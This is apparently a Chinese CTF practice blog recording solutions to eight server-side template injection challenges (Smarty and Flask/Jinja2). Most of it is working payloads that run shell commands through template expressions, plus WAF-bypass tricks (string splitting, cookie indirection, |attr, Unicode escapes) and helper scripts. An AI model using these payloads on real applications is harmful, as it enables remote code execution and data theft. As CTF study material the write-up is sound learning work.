web SSTI 刷题记录

news2024/10/7 19:30:27

文章目录

    • 前言
    • [CISCN 2019华东南]Web11
    • [HDCTF 2023]SearchMaster
    • [HNCTF 2022 WEEK2]ez_SSTI
    • [HNCTF 2022 WEEK3]ssssti
    • [NCTF 2018]flask真香
      • 方法一
      • 方法二
    • [安洵杯 2020]Normal SSTI
    • [CISCN 2019华东南]Double Secret
    • [HZNUCTF 2023 preliminary]flask
      • 方法一
      • 方法二


前言

学习ctf也有两个学期了,趁现在有时间,速速学习SSTI模板注入


[CISCN 2019华东南]Web11

打开题目

发现为SSTI的Smarty

提示为XFF

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DVm12HDp-1684584968493)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230505154231584.png)]

先判断,发现成功

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2ALYcLG5-1684584968494)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230505154455340.png)]

添加XFF,查看一下根目录

X-Forwarded-For:{if system('ls')}{/if}

cat一下,得到flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Vp7aSYCe-1684584968494)(C:\Users\罗思远\AppData\Roaming\Typora\typora-user-images\image-20230505154901124.png)]

[HDCTF 2023]SearchMaster

打开题目,发现提示我们POST传入参数data
在这里插入图片描述

由于还不知道是什么模板,我们先试试扫下目录

在这里插入图片描述访问下./composer.json,发现是smarty模板注入

在这里插入图片描述payload

{if system('cat /f*')}{/if}

直接得到flag

在这里插入图片描述

[HNCTF 2022 WEEK2]ez_SSTI

打开题目,盲猜参数为name
在这里插入图片描述直接上payload

?name={{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}

得到flag
在这里插入图片描述

[HNCTF 2022 WEEK3]ssssti

提示ssti模板注入,参数为name
fuzz测试一下,黑名单如下(大概

1 '
2 "  
3 _  
4 args   -- 无法使用 request.args
5 os   -- 无法导入os
不允许post  -- 无法使用 request.value

payload

{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}

这里我们使用request.cookies构造
payload

?name={{self[request.cookies.c][request.cookies.d][request.cookies.e][request.cookies.f][request.cookies.g].open(request.cookies.z).read()}}

cookie:c=__dict__;d=_TemplateReference__context;e=lipsum;f=__globals__;g=__builtins__;z=flag

得到flag

在这里插入图片描述

[NCTF 2018]flask真香

打开题目,直接试试万能{{7*7}}
发现存在SSTI注入
在这里插入图片描述我们试试./{{''.__class__.}}
发现被过滤了

在这里插入图片描述

这里用字符串拼接绕过

{{''['__cla''ss__']}}

发现成功
在这里插入图片描述我们先得到子类

{{()['__cla''ss__'].__bases__[0]['__subcl''asses__']()}}

在这里插入图片描述

方法一

我们寻找<class 'os._wrap_close'>的位置

祖传找下标的脚本

import json
classes="""
[<class '_bz2.BZ2Decompressor'>, <class 'coroutine_wrapper'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'posix.DirEntry'>, <class 'urllib.request.Request'>, <class '_hashlib.HASH'>, <class '_frozen_importlib._installed_safely'>, <class 'werkzeug.wrappers.json._JSONModule'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'urllib.request.OpenerDirector'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.ext.Extension'>, <class '_ssl._SSLSocket'>, <class 'codecs.IncrementalDecoder'>, <class 'jinja2.environment.TemplateExpression'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'argparse.HelpFormatter._Section'>, <class 'click.core.BaseCommand'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'select.poll'>, <class 'difflib.HtmlDiff'>, <class 'click.core.Context'>, <class 'jinja2.loaders.BaseLoader'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 're.Scanner'>, <class 'collections._Link'>, <class 'click.formatting.HelpFormatter'>, <class 'werkzeug.routing.RuleFactory'>, <class 'generator'>, <class '_frozen_importlib_external.PathFinder'>, <class 'subprocess.CompletedProcess'>, <class 'http.cookiejar.CookiePolicy'>, <class 'itertools.groupby'>, <class 'operator.methodcaller'>, <class 'inspect._void'>, <class 'flask.sessions.SessionInterface'>, <class 'jinja2.utils.MissingType'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'difflib.Differ'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'itertools.product'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'jinja2.ext._CommentFinder'>, <class 'urllib.request.ftpwrapper'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'argparse._ActionsContainer'>, <class 'os._DummyDirEntry'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'weakref'>, <class 'email.header._ValueFormatter'>, <class 'property'>, <class 'threading.Semaphore'>, <class 'textwrap.TextWrapper'>, <class 'itertools.count'>, <class 'list_reverseiterator'>, <class 'tuple_iterator'>, <class 'dict_values'>, <class 'jinja2.utils.Cycler'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'sre_parse.Tokenizer'>, <class 'instancemethod'>, <class '_json.Encoder'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'click.parser.Argument'>, <class 'click._compat._FixupStream'>, <class 'werkzeug.useragents.UserAgentParser'>, <class 'ellipsis'>, <class 'method-wrapper'>, <class '_ssl._SSLContext'>, <class 'socketserver.BaseServer'>, <class 'collections.deque'>, <class 'memoryview'>, <class 'urllib.request.URLopener'>, <class 'Struct'>, <class 'functools.partial'>, <class 'jinja2.bccache.Bucket'>, <class 'flask.json.tag.JSONTag'>, <class 'fieldnameiterator'>, <class '_pickle.Pickler'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'click._compat._AtomicFile'>, <class '_ast.AST'>, <class 'datetime.time'>, <class 'argparse.HelpFormatter'>, <class 'werkzeug.datastructures.Range'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class 'dis.Bytecode'>, <class 'jinja2.nodes.EvalContext'>, <class 'ipaddress._BaseV4'>, <class 'itertools._tee_dataobject'>, <class 'range_iterator'>, <class 'http.cookiejar.Absent'>, <class 'operator.attrgetter'>, <class 'mimetypes.MimeTypes'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'collections.abc.Hashable'>, <class 'http.cookiejar.Cookie'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class 'click.parser.OptionParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'pprint._safe_key'>, <class 'dict_itemiterator'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'json.decoder.JSONDecoder'>, <class 'threading.Thread'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'ipaddress._BaseV6'>, <class '_io._IOBase'>, <class 'werkzeug.exceptions.Aborter'>, <class 'importlib.abc.Loader'>, <class '__future__._Feature'>, <class 'werkzeug.datastructures.FileStorage'>, <class '_frozen_importlib._ModuleLockManager'>, <class 'callable_iterator'>, <class 'module'>, <class 'logging.LogRecord'>, <class '_thread._local'>, <class 'ctypes.LibraryLoader'>, <class 'functools._lru_cache_wrapper'>, <class '_sre.SRE_Match'>, <class 'reversed'>, <class 'itsdangerous.signer.Signer'>, <class 'pathlib._Accessor'>, <class 'list_iterator'>, <class 'frozenset'>, <class 'itertools.combinations_with_replacement'>, <class 'tarfile._LowLevelFile'>, <class '_thread._localdummy'>, <class 'calendar._localized_day'>, <class 'bytes_iterator'>, <class 'method'>, <class 'ctypes.CDLL'>, <class '_json.Scanner'>, <class 'werkzeug.wrappers.cors.CORSResponseMixin'>, <class 'tarfile.TarInfo'>, <class 'argparse.FileType'>, <class 'email.header.Header'>, <class 'jinja2.environment.Environment'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class '_collections._deque_iterator'>, <class 'ast.NodeVisitor'>, <class 'managedbuffer'>, <class '_thread.RLock'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'jinja2.compiler.Frame'>, <class 'warnings.WarningMessage'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'super'>, <class '_io.IncrementalNewlineDecoder'>, <class 'staticmethod'>, <class 'inspect.Signature'>, <class 'pickle._Pickler'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'datetime.timedelta'>, <class 'json.encoder.JSONEncoder'>, <class 'subprocess.Popen'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class 'hmac.HMAC'>, <class 'itertools._grouper'>, <class 'operator.itemgetter'>, <class 'itertools.chain'>, <class 'weakref.finalize'>, <class 'zlib.Compress'>, <class 'collections.abc.Sized'>, <class 'werkzeug.serving._SSLContext'>, <class 'contextlib.ExitStack'>, <class 'dict_valueiterator'>, <class 'jinja2.runtime.LoopContext'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'frame'>, <class 'collections.abc.Iterable'>, <class 'urllib.request.BaseHandler'>, <class 'email.parser.Parser'>, <class 'threading._RLock'>, <class '_frozen_importlib_external._LoaderBasics'>, <class 'map'>, <class 'classmethod'>, <class 'jinja2.runtime.Macro'>, <class 'types._GeneratorWrapper'>, <class '_sitebuiltins._Printer'>, <class 'tempfile._RandomNameSequence'>, <class '_io._BytesIOBuffer'>, <class 'mappingproxy'>, <class 'jinja2.parser.Parser'>, <class 'enumerate'>, <class 'werkzeug.urls.Href'>, <class 'tuple'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'itertools.compress'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'pathlib._Selector'>, <class 'set'>, <class 'jinja2.runtime.BlockReference'>, <class 'urllib.parse._ResultMixinBytes'>, <class '_weakrefset._IterationGuard'>, <class '_ctypes.CField'>, <class 'flask.cli.DispatchingApp'>, <class 'email._policybase._PolicyBase'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'pickle._Unpickler'>, <class 'difflib.SequenceMatcher'>, <class 'odict_iterator'>, <class '_frozen_importlib_external.FileFinder'>, <class '_sre.SRE_Scanner'>, <class 'jinja2.environment.TemplateStream'>, <class 'logging.LoggerAdapter'>, <class 'email.message.Message'>, <class 'BaseException'>, <class 'tarfile.TarFile'>, <class 'datetime.tzinfo'>, <class 'werkzeug.datastructures.Headers'>, <class 'flask.ctx.RequestContext'>, <class 'dict_keys'>, <class '_thread.lock'>, <class 'functools.partialmethod'>, <class 'argparse._AttributeHolder'>, <class 'pkgutil.ImpLoader'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'pkgutil.ImpImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class 'tempfile._TemporaryFileCloser'>, <class 'inspect.BoundArguments'>, <class 'werkzeug.wrappers.base_response.BaseResponse'>, <class 'flask.cli.ScriptInfo'>, <class 'werkzeug.local.LocalProxy'>, <class 'zip'>, <class 'email.feedparser.BufferedSubFile'>, <class 'tarfile._StreamProxy'>, <class '_ctypes._CData'>, <class 'pathlib._TerminatingSelector'>, <class 'sre_parse.Pattern'>, <class '_lzma.LZMACompressor'>, <class 'ssl.SSLObject'>, <class 'click.utils.KeepOpenFile'>, <class 'itertools.filterfalse'>, <class '_frozen_importlib._DummyModuleLock'>, <class 'codecs.StreamRecoder'>, <class 'flask._compat._DeprecatedBool'>, <class 'dict_keyiterator'>, <class 'jinja2.environment.Template'>, <class 'types.SimpleNamespace'>, <class 'itertools._tee'>, <class 'itertools.islice'>, <class 'contextlib._RedirectStream'>, <class 'tarfile._FileInFile'>, <class 'decimal.SignalDictMixin'>, <class 'codecs.IncrementalEncoder'>, <class '_ctypes.CThunkObject'>, <class 'string.Formatter'>, <class 'collections.abc.Callable'>, <class 'logging.BufferingFormatter'>, <class 'CArgObject'>, <class 'selectors.BaseSelector'>, <class 'types.DynamicClassAttribute'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'dict_items'>, <class 'reprlib.Repr'>, <class 'flask.ctx.AppContext'>, <class 'longrange_iterator'>, <class 'inspect._empty'>, <class 'importlib.abc.Finder'>, <class 'zipimport.zipimporter'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'range'>, <class 'contextlib.suppress'>, <class 'inspect.Parameter'>, <class 'werkzeug.useragents.UserAgent'>, <class 'logging.Formatter'>, <class 'jinja2.utils.Joiner'>, <class '_collections._deque_reverse_iterator'>, <class 'datetime.date'>, <class '_pickle.Unpickler'>, <class 'itertools.starmap'>, <class 'collections.abc.AsyncIterable'>, <class 'calendar.Calendar'>, <class 'flask.helpers._PackageBoundObject'>, <class 'werkzeug.wrappers.cors.CORSRequestMixin'>, <class 'tarfile.TarIter'>, <class 'traceback'>, <class 'NoneType'>, <class 'method_descriptor'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class '_weakrefset.WeakSet'>, <class 'moduledef'>, <class 'dict'>, <class 'logging.Filter'>, <class '_frozen_importlib_external.FileLoader'>, <class 'pathlib._Flavour'>, <class 'itertools.takewhile'>, <class 'flask.signals.Namespace'>, <class 'tarfile._Stream'>, <class 'string.Template'>, <class 'werkzeug.routing.Map'>, <class 'collections.abc.Container'>, <class 'decimal.ContextManager'>, <class 'builtin_function_or_method'>, <class 'logging.Filterer'>, <class 'collections.abc.Awaitable'>, <class 'getset_descriptor'>, <class 'calendar._localized_month'>, <class 'click.types.ParamType'>, <class 'jinja2.environment.TemplateModule'>, <class 'itertools.permutations'>, <class 'ipaddress._IPv4Constants'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'set_iterator'>, <class 'wrapper_descriptor'>, <class 'slice'>, <class 'jinja2.utils.LRUCache'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'click.parser.Option'>, <class 'float'>, <class '_sre.SRE_Pattern'>, <class '_frozen_importlib_external._NamespacePath'>, <class 'itsdangerous.serializer.Serializer'>, <class 'weakref.finalize._Info'>, <class 'logging.PlaceHolder'>, <class 'str'>, <class 'flask.helpers.locked_cached_property'>, <class '_ctypes.DictRemover'>, <class 'itsdangerous._json._CompactJSON'>, <class 'jinja2.runtime.Undefined'>, <class 'werkzeug.local.LocalManager'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'jinja2.nodes.Node'>, <class 'email.charset.Charset'>, <class 'coroutine'>, <class 'select.epoll'>, <class 'tempfile.TemporaryDirectory'>, <class 'http.cookiejar.CookieJar'>, <class 'stderrprinter'>, <class 'flask.signals._FakeSignal'>, <class 'posix.ScandirIterator'>, <class 'function'>, <class 'pprint.PrettyPrinter'>, <class 'traceback.FrameSummary'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'traceback.TracebackException'>, <class 'contextlib.ContextDecorator'>, <class 'inspect.BlockFinder'>, <class '_bz2.BZ2Compressor'>, <class 'gettext.NullTranslations'>, <class 'werkzeug.local.LocalStack'>, <class 'itertools.dropwhile'>, <class 'zlib.Decompress'>, <class 'click.core.Parameter'>, <class 'uuid.UUID'>, <class 'codecs.StreamReaderWriter'>, <class 'filter'>, <class 'jinja2.runtime.TemplateReference'>, <class 'decimal.Context'>, <class 'logging.PercentStyle'>, <class '_random.Random'>, <class 'pathlib.PurePath'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'numbers.Number'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'jinja2.lexer.Failure'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'str_iterator'>, <class 'email._parseaddr.AddrlistClass'>, <class 'type'>, <class 'socketserver.ThreadingMixIn'>, <class '_sitebuiltins.Quitter'>, <class 'sre_parse.SubPattern'>, <class 'weakcallableproxy'>, <class 'os._wrap_close'>, <class 'codecs.Codec'>, <class 'itertools.zip_longest'>, <class 'bytearray_iterator'>, <class 'copy._EmptyClass'>, <class 'flask.config.ConfigAttribute'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'pickle._Framer'>, <class 'click.utils.LazyFile'>, <class 'jinja2.lexer.Lexer'>, <class 'click.parser.ParsingState'>, <class '_pickle.Pdata'>, <class 'formatteriterator'>, <class 'urllib.parse._ResultMixinStr'>, <class '_lzma.LZMADecompressor'>, <class 'int'>, <class '_ssl.MemoryBIO'>, <class '_sitebuiltins._Helper'>, <class 'threading.Event'>, <class 'PyCapsule'>, <class '_frozen_importlib.ModuleSpec'>, <class 'jinja2.idtracking.Symbols'>, <class 'werkzeug.test.Client'>, <class 'ipaddress._IPv6Constants'>, <class '_pickle.PicklerMemoProxy'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'socketserver.ForkingMixIn'>, <class 'NotImplementedType'>, <enum 'Enum'>, <class 'itertools.cycle'>, <class '_frozen_importlib.FrozenImporter'>, <class 'code'>, <class 'contextlib.closing'>, <class 'member_descriptor'>, <class '_frozen_importlib._ManageReload'>, <class 'tokenize.Untokenizer'>, <class 'bytearray'>, <class 'iterator'>, <class 'decimal.Decimal'>, <class 'itertools.accumulate'>, <class 'jinja2.runtime.Context'>, <class 'unicodedata.UCD'>, <class 'EncodingMap'>, <class 'classmethod_descriptor'>, <class 'threading.Barrier'>, <class 'http.client.HTTPConnection'>, <class 'list'>, <class 'itertools.combinations'>, <class 'calendar.different_locale'>, <class '_socket.socket'>, <class '_frozen_importlib._ModuleLock'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'bytes'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.routing.MapAdapter'>, <class 'cell'>, <class 'weakproxy'>, <class 'socketserver.BaseRequestHandler'>, <class 'abc.ABC'>, <class 'ipaddress._IPAddressBase'>, <class 'threading.Condition'>, <class 'itertools.repeat'>, <class 'email.feedparser.FeedParser'>, <class 'complex'>, <class 'jinja2.utils.Namespace'>, <class 'pickle._Unframer'>, <class 'jinja2.lexer.TokenStream'>, <class 'warnings.catch_warnings'>, <class 'email.parser.BytesParser'>, <class 'werkzeug.routing.BaseConverter'>, <class 'logging.Manager'>]
"""
num=0
alllist=[]
result=""
for i in classes:
    if i==">":
        result+=i
        alllist.append(result)
        result=""
    elif i=="\n" or i==",":
        continue
    else:
        result+=i
#寻找要找的类,并返回其索引
for k,v in enumerate(alllist):
    if "class 'os._wrap_close" in v:
        print(str(k)+"--->"+v)

得到下标位置
在这里插入图片描述
payload

{{''['__cla''ss__'].__bases__[0]['__subc''lasses__']()[375].__init__.__globals__['pop''en']('ls /').read()}}

在这里插入图片描述得到flag
在这里插入图片描述

方法二

掏出祖传脚本来找到<class 'warnings.catch_warnings'>子类的下标
来利用他的子类__builtins__
将上面的脚本搜索值修改下,得到下标为446
payload

{{()['__cla''ss__'].__bases__[0]['__subcl''asses__']()[446].__init__.__globals__['__bui''ltins__']['ev''al']("__im""port__('o''s').po""pen('cat /T*').read()")}}

[安洵杯 2020]Normal SSTI

打开题目,按照提示尝试输入?url={{7*7}}
发现被过滤了,多尝试几个
fuzz一下,黑名单大致如下

[' ','\'','*','[',']','_','.','globals','request','args','form','getitem','flag','length','list','string','config']

过滤了{{}}所以使用{%print()%}绕过
因为.[]被过滤,所以使用flask的|attr来调用方法,''|attr(“__class__”)等于''.__class__

如果要使用xxx.os(‘xxx’)类似的方法,可以使用xxx|attr(“os”)(‘xxx’)

payload

{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")())%}

由于要绕过waf,将被禁用的Unicode编码一下

{%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")|attr("read")())%}

得到flag
在这里插入图片描述

[CISCN 2019华东南]Double Secret

打开题目,先扫一下目录
在这里插入图片描述
访问下./secrect,提示我们参数也为secret
我们试试./secrect?secret=11111,发现报错
在app.py这里可以看到部分暴露的源码
在这里插入图片描述

简单解释下,就是会对我们上传的值进行RC4加密,密钥为HereIsTreasure
网上随便找的加解密脚本

# RC4是一种对称加密算法,那么对密文进行再次加密就可以得到原来的明文

import base64
from urllib.parse import quote


def rc4_main(key="init_key", message="init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return crypt


def rc4_init_sbox(key):
    s_box = list(range(256))  # 我这里没管秘钥小于256的情况,小于256不断重复填充即可
    # print("原来的 s 盒:%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒:%s"% s_box)
    return s_box


def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    # print("res用于加密字符串,加密后是:%res" %res)
    cipher = "".join(res)
    print("加密后的字符串是:%s" % quote(cipher))
    # print("加密后的输出(经过编码):")
    # print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
    return str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')


rc4_main("HereIsTreasure", "{{7*7}}")  
#第一个参数为密钥,第二个参数为需要加密的字符串

我们先试试上传{{7*7}},发现成功执行
在这里插入图片描述我们修改上传命令为{{''.__class__.__mro__}}
在这里插入图片描述发现下标为2,我们再继续看子类

{{''.__class__.__mro__[2].__subclasses__()}}

然后索引<type 'file'>,去利用文件读写(仅适用于Python2)

在这里插入图片描述
payload

{{''.__class__.__mro__[2].__subclasses__()[40]("/flag.txt").read()}}

这里要修改下脚本,因为引号匹配出现错误

rc4_main("HereIsTreasure", "{{''.__class__.__mro__[2].__subclasses__()[40]('/flag.txt').read()}}")  

得到flag
在这里插入图片描述

[HZNUCTF 2023 preliminary]flask

打开题目,随便上传123,发现逆序
再试试}}7*7{{,成功执行

在这里插入图片描述逆序脚本

def reverse_string(input_string):
    reversed_chars = reversed(input_string)
    reversed_string = ''.join(reversed_chars)
    return reversed_string

input_string = input("请输入要逆序的字符串:")
reversed_string = reverse_string(input_string)
print("逆序后的字符串为:" + reversed_string)

方法一

我们查找下子类

{{''.__class__.__bases__[0].__subclasses__()}}

右键查看源代码,复制下来用脚本索引os
发现下标为132
在这里插入图片描述我们调用popen方法,去命令执行
payload

{{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__.popen('ls /').read()}}

然后再查看flag.sh,结果发现没有
在这里插入图片描述我们尝试查看环境变量,得到flag

{{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__.popen('env').read()}}

在这里插入图片描述

方法二

payload

{{lipsum.__globals__.os.popen('env').read()}}

逆序完也可以得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/951804.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

安达发|模拟车间模型生成生产排产计划

根据车间模型生成排产计划的一般程序可简单地描述为下面6个步骤。 1. 建模 车间模型必须详细地捕捉生产流程的特征和相应的物流&#xff0c;以便以最小的成本生成可行的计划。由于一个系统的产出率只受潜在瓶颈资源的限制&#xff0c;因此&#xff0c;我们只需对车间现有全部资…

qt day 1

this->setWindowIcon(QIcon("D:\\zhuomian\\wodepeizhenshi.png"));//設置窗口的iconthis->setWindowTitle("鵬哥快聊");//更改名字this->setFixedSize(500,400);//設置尺寸QLabel *qlnew QLabel(this);//創建一個標簽ql->resize(QSize(500,20…

浅析SOLIDWORKS空模板警告 | 使用技巧

在使用SOLIDWORKS时&#xff0c;个别用户会遇到这样的问题&#xff1a;使用SOLIDWORKS打开【.step】【.x_t】等交换档会出现如下错误提示&#xff08;或者是另存实体为零件或装配体时&#xff09;&#xff1a; 这个时候可以点击“取消”来手动载入模板&#xff0c;但是下一次打…

说说Flink中的State

分析&回答 基本类型划分 在Flink中&#xff0c;按照基本类型&#xff0c;对State做了以下两类的划分&#xff1a; Keyed State&#xff0c;和Key有关的状态类型&#xff0c;它只能被基于KeyedStream之上的操作&#xff0c;方法所使用。我们可以从逻辑上理解这种状态是一…

论文浅尝 | 利用对抗攻击策略缓解预训练语言模型中的命名实体情感偏差问题...

笔记整理&#xff1a;田家琛&#xff0c;天津大学博士&#xff0c;研究方向为文本分类 链接&#xff1a;https://ojs.aaai.org/index.php/AAAI/article/view/26599 动机 近年来&#xff0c;随着预训练语言模型&#xff08;PLMs&#xff09;在情感分类领域的广泛应用&#xff0c…

性能测试平台RunnerGo

在当今的软件开发环境中&#xff0c;测试是确保产品质量和稳定性的重要环节。RunnerGo是一款基于Go语言研发的轻量级测试平台&#xff0c;以其强大的功能和易用性成为了测试领域的佼佼者。 RunnerGo具有轻量级、全栈式、易用性和高效率等特点&#xff0c;为用户提供了全面的测…

【C语言】冒泡排序的快排模拟

说到排序&#xff0c;必然绕不开两个排序&#xff0c;冒泡排序与快速排序 冒泡排序是大多数人的启蒙排序&#xff0c;因为他的算法简单。但效率不高&#xff0c;便于新手理解&#xff1b; 而快速排序是集大成之作&#xff0c;效率最高&#xff0c;使用最为广泛。 今天这篇文章带…

Ae 效果:CC Glass Wipe

过渡/CC Grid Wipe Transition/CC Grid Wipe CC Glass Wipe&#xff08;CC 玻璃擦除&#xff09;效果用于创建一种基于亮度信息的擦除方式&#xff0c;过渡边缘有类似于玻璃的质感。 ◆ ◆ ◆ 效果属性说明 Completion 完成度 控制过渡效果的完成进度。 值从 0 %&#xff08;…

自动驾驶车辆换道过程建模与分析

目 录 第1 章 绪论 ................................................................................................................. 1 1.1 研究背景及意义.............................................................................................. 1 1.2 研究…

ACM模式数组构建二叉树Go语言实现

目的 想输入一个数组&#xff0c;然后构造二叉树 例如数组为[6, 2, 8, 0, 4, 7, 9, -1, -1, 3, 5] 对应的二叉树为&#xff1a; 参考资料 ACM模式数组构建二叉树 重点&#xff1a;如果父节点的数组下标是i&#xff0c;那么它的左孩子下标就是i*21&#xff0c;右孩子下标就是…

Leetcode 易错题整理(二)40. 45. 46. 47. 49. 56. 62. 63.

40. 组合总和 II 给定一个候选人编号的集合 candidates 和一个目标数 target &#xff0c;找出 candidates 中所有可以使数字和为 target 的组合。 candidates 中的每个数字在每个组合中只能使用 一次 。 **注意&#xff1a;**解集不能包含重复的组合。 示例 1: 输入: candidat…

Doris数据库BE——Stream load

Doris是一款快速、可靠的分布式大数据仓库&#xff0c;是由阿里巴巴集团在2016年底开源发起的。它采用了分布式存储和计算技术&#xff0c;可以处理海量的数据&#xff0c;并且可以实现实时查询和快速分析。 Doris 数据仓库有以下特点&#xff1a; 分布式计算&#xff1a;利用…

结构体(个人学习笔记黑马学习)

1、结构体的定义和使用 #include <iostream> using namespace std; #include <string>struct Student {string name;int age;int score; }s3;int main() {//1、struct Student s1;s1.name "张三";s1.age 18;s1.score 100;cout << "姓名&a…

【阻塞队列】

文章目录 普通队列存在的问题单锁实现双锁实现 普通队列存在的问题 大部分场景要求分离向队列放入&#xff08;生产者&#xff09;、从队列拿出&#xff08;消费者&#xff09;两个角色、它们得由不同的线程来担当&#xff0c;而之前的实现根本没有考虑线程安全问题队列为空&a…

【记录】手机QQ和电脑QQ里的emoji种类有什么差异?

版本 手机 QQ&#xff1a;V 8.9.76.12115 电脑 QQ&#xff1a;QQ9.7.15&#xff08;29157&#xff09; 偶然发现&#xff0c;有一种emoji手机上怎么找都找不到&#xff0c;一开始以为自己失忆了&#xff0c;后来发现这种emoji只在电脑上有。 接下来简单说一下找emoji差异的方式…

912.排序数组

目录 一、题目 二、代码 一、题目 912. 排序数组 - 力扣&#xff08;LeetCode&#xff09; 二、代码 class Solution { public:void _MergeSort(vector<int>&data,vector<int>&tmp,int begin,int end){if(begin>end)return;//结束条件int mid (beg…

解决博客不能解析PHP直接下载源码问题

背景&#xff1a; 在网站设置反向代理后&#xff0c;网站突然不能正常访问&#xff0c;而是会直接下载访问文件的PHP源码 解决办法&#xff1a; 由于在搞完反向代理之后&#xff0c;PHP版本变成了纯静态&#xff0c;所以网站不能正常解析&#xff1b;只需要把PHP版本恢复正常…

记录一些问题

1、如何下载从数据库中查询出来的数据 查询结果List 写到文件中&#xff0c;然后下载 GetMapping(value "/download")public void download(HttpServletResponse response)throws IOException {List<ticket> tickets getTickets();File tmpFile write2CSVF…

Python的os.walk()函数使用案例

在Python中&#xff0c;os模块是一个非常实用的工具&#xff0c;它可以让我们与操作系统进行交互&#xff0c;操作文件和目录。在本文中&#xff0c;我们将详细介绍os模块中的遍历文件功能&#xff0c;并通过具体案例和使用场景来解释。 首先&#xff0c;导入os模块。在Pytho…

嵌入式学习之exec族函数

今天&#xff0c;主要学习的内容是exec族函数和system函数&#xff0c;以及system函数和fork函数的配合使用。今日写的代码如下&#xff1a;